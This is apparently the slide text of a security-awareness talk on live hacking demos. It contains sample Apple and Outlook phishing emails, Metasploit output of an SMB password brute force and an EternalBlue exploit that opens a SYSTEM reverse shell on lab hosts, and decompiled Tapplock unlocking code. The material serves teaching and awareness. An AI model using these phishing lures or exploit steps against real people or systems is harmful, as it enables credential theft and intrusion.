Hacking your awareness training
Who am I

@_tonygee_
Ex blue team @ Friends Provident
Now head up staff awareness @ Pen Test Partners
Live hacks are in every awareness talk
Created https://airdropoff.com
https://ptp.sh/tony

@pentestpartners
A team of 90+ embedded systems security researchers & expert penetration testers
UK & US Headquartered
Public research include vehicle and maritime security, smart TVs & fridges, smart locks, connected kids toys, industrial IoT and much more...
https://ptp.sh/blog
RETRAIN YOUR MIND
Dear Apple ID User,

Verify this email address belongs to you, click the link below and then sign in using your Apple ID and password and update your Billing details.

Verify now

Why you received this email.
Apple requires verification whenever an email address is selected as an Apple ID. Your email cannot be used until you verify it.

Failure to verify and update your billing details might lead to closure of your Apple ID.

Apple Support
Kid’s watcher
one-press phone call
What demos are practical
USB Rubber Ducky/Bash Bunny
Alfa USB Wireless card
Android phone
IoT kit
Creating simple URL based phishing
Awesome tool from
David Kennedy (ReL1K)
Create basic phishing
demos in easy steps
Can to LOADS more

The Social-Engineer Toolkit (SET)
Created by: David Kennedy (ReL1K)
Version: 8.0.1
Codename: 'Maverick - BETA'
Follow us on Twitter: @TrustedSec
Follow me on Twitter: @HackingDave
Homepage: https://www.trustedsec.com

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com
Basic Phish Demo
Really powerful
Really professional
Slower
More effort to set up
Need internet access
Server infrastructure
metasploit v5.0.38-dev
---[ 1912 exploits - 1073 auxiliary - 329 post
---[ 545 payloads - 45 encoders - 10 nops
---[ 3 evasion
Attachement phish demo
Chris <hacker@notmycompany.local>

To James@server.local

New Outlook Portal

Hi James,

We have created a new Outlook portal and in an effort to ensure it is fully tested before a wider company roll out I was hoping you could help with the testing.

I know you have a bit of experience in this area and would welcome your feedback.

The portal is available at:

http://securemail.company.com

Regards,

Chris

IT Support
iSniffGPS – Client probe requests
Wigle.net look up address
WiFi Pineapple
Intercept traffic – capture passwords
A Pwnagotchi cute way to show off capturing client handshakes.

Can then crack in aircrack.
OSINT willing volunteers
Look up on Facebook
Google them
Find family references
Simulate basic red team style attacks

Brute force passwords

```plaintext
SMBuser => Admin
resource (passbrute.rc)> set pass_file /root/Wordlists/passwords.txt
pass_file => /root/Wordlists/passwords.txt
msf5 auxiliary(scanner/smb/smb_login) > exploit

[*] 192.168.62.132:445 - Scanned 1 of 1 hosts (100% complete)
[+] Auxiliary module execution completed
```
**msf5 exploit(**windows/smb/ms17_010_eternalblue)** > **exploit**

[*] Started reverse TCP handler on 192.168.62.129:4444

[+] 192.168.62.132:4445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1


[+] 192.168.62.132:4445 - Target OS selected valid for OS indicated by SMB reply

[*] 192.168.62.132:4445 - CORE raw buffer dump (42 bytes)

[*] 192.168.62.132:4445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Professional Service Pack 1

[*] 192.168.62.132:4445 - 0x0000010 73 69 6f 6e 61 6c 20 37 20 53 37 20 73 76 65 72 76 73 74 79 70 65 73 Windows 7 Professional Service Pack 1

[*] 192.168.62.132:4445 - 0x00000020 69 63 65 20 50 72 61 63 6b 69 6e 67 20 37 20 53 76 65 72 76 73 Windows 7 Professional Service Pack 1

[+] 192.168.62.132:4445 - Target arch selected valid for arch indicated by DCE/RPC reply


[*] 192.168.62.132:4445 - Sending all but last fragment of exploit packet

[*] 192.168.62.132:4445 - Starting non-paged pool grooming

[+] 192.168.62.132:4445 - Sending SMBv2 buffers

[+] 192.168.62.132:4445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.


[*] 192.168.62.132:4445 - Sending last fragment of exploit packet!

[*] 192.168.62.132:4445 - Receiving response from exploit packet

[+] 192.168.62.132:4445 - ETERNALBLUE overwrite completed successfully (0xC000000D)

[*] 192.168.62.132:4445 - Sending egg to corrupted connection.


[*] Command shell session 1 opened (192.168.62.129:4444 => 192.168.62.132:49171) at 2019-08-15 15:00:04 +0
t

C:\Windows\system32>whoami

whoami

nt authority\system
Easy to demo

But....

Use Hidden Tear Offline

It's a ransomware-like file crypter sample which can be modified for specific purposes.
Unbreakable Durability

Zamak 3 zinc alloy metal body with cut-resistant 7mm stainless steel shackle, double-layered lock design with anti-shim and anti-pry capabilities makes Tapplock one virtually unbreakable.
Bluetooth used to unlock

Requires two codes
KEY_ONE
SERIAL_NO

Both derived from the device
MAC address...

That’s broadcast all the time...

```java
public void regularPair(String str, byte[] bArr, byte[] bArr2) {
    bArr = getCMD(CMD_PAIRING_REGULAR, bArr, bArr2);
    send(str, bArr);
    str = TAG;
    bArr2 = new StringBuilder();
    bArr2.append("Regular pair called, send ");
    bArr2.append(BluetoothTool.byteToStr(bArr));
    Log.e(str, bArr2.toString());
}

public static String keyAndSerialNo(String str, String str2) {
    String strUpper = str.toUpperCase();
    if (str.equals(KEY_ONE)) {
        str = str.substring(0, 8);
    } else if (str.equals(KEY_TWO)) {
        str = str.substring(8, 16);
    } else if (str.equals(SERIAL_NO)) {
        str = str.substring(16, 24);
    }
    return str;
}
```
Zamak3 melts at 400°C

Not massively practical
The lock is invincible to the people who do not have a screwdriver.
Anti Virus - disable

Windows security – turn it all off

Don’t update

Networks – use NAT

SNAPSHOOT!!!!!!!
Hacking is easy!

Make it a part of your awareness

Start small – phishing is easy

https://ptp.sh/blog

Ask me for demo instructions